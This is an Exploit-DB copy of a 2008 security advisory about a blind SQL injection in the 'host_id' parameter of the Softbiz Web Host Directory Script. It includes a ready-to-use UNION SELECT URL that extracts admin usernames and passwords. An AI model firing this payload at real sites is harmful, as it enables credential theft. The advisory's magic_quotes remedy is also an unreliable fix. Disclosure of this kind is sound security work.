Softbiz Web Host Directory Script - 'host_id' SQL Injection

EDB-ID:

5517

Author:

K-159

Type:

webapps

Platform:

PHP

Published:

2008-04-28

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[ECHO_ADV_89$2008] Softbiz Web Host Directory Script (search_result.php host_id) Blind Sql Injection Vulnerability
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Author         : M.Hasran Addahroni
Date           : April, 28 th 2007
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv89-K-159-2008.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
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Affected software description:
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Application   : Softbiz Web Host Directory Script
version       : unknown
Vendor        : http://www.softbizscripts.com/web-hosting-directory-script.php
Description   :

Web Hosting Directory Script is a highly Advanced PHP script to run your own web Hosting comparison site.
Since companies in web hosting industry offer very high volumes of affiliate commissions (even up to $80 or more per sale),
hence this script has a great potential to generate very heavy revenues for you.
Script is built with focus on making it SIMPLE for webmasters to manage and very convenient for users to select perfect web Hosting.
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Vulnerability:
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Input passed to the "host_id" parameter in search_result.php is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the username and password from admin in plain text.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
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http://www.target.com/hostdirectory/search_result.php?host_id=-1 union select 1,2,concat(sb_id,0x3a,sb_admin_name,0x3a,sb_pwd),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 from sb_host_admin--

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Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
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- 28 - 04 - 2008 bug found
- 28 - 04 - 2008 advisory released
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Contact:
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     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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